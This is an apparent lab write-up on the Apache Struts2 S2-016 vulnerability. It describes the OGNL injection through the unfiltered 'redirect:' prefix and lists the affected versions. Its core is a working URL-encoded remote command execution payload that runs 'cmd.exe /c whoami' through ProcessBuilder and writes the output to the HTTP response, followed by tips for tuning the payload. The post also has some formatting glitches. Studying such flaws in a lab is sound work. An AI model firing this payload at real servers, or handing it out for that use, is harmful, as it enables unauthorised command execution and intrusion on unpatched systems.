[Research] Struts2 S2-016 Vulnerability Environment and POC

[Research] Struts2 S2-016 Vulnerability Environment and POC

• • 1. Environment
  • 2. Principle
  • 3. Affected Versions
  • 4. Exploitation Process
  • POC
  • POC Notes

1. Environment

Environment
https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
Setting up this environment is quick and convenient. Refer to the instructions for details; it is very simple.

2. Principle

In Struts2, the DefaultActionMapper class supports "action:", "redirect:", and "redirectAction:" as navigation or redirection prefixes. However, these prefixes can also be followed by OGNL expressions. Because Struts2 does not filter these prefixes, an attacker can use OGNL expressions to invoke Java static methods and execute arbitrary system commands.

Therefore, accessing http://your-ip:8080/index.action?redirect:OGNL表达式 executes an OGNL expression.

3. Affected Versions

Struts 2.0.0 - Struts 2.3.15

4. Exploitation Process

Open the environment

POC

This vulnerability can be exploited using a GET request; simply append the following directly.```java ?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{‘cmd.exe’, ‘/c’,‘whoami’}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

Download the file and open it to view the command output.  
![在这里插入图片描述](/images/20190702161305961.png)

POC```j
http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?redirect:${%23a%3d(new java.lang.ProcessBuilder(new java.lang.String[]{'cmd.exe', '/c','whoami'}})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew java.io.InputStreamReader(%23b),%23d%3dnew java.io.BufferedReader(%23c),%23e%3dnew char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}
```Download and open the file.  
![在这里插入图片描述](/images/20190702161717489.png)

## POC Notes

Here, the POC contains what appears to be repeated data—these two statements: #d.read\(#e\),#matt.getWriter\(\).println\(#e\)  
Repeating them several times is equivalent to manually looping several times.

There is also this statement: #e=new char\[50000\],#d.read\(#e\)  
The size of `e` also affects how much content is displayed. If the returned output is incomplete, increase the value.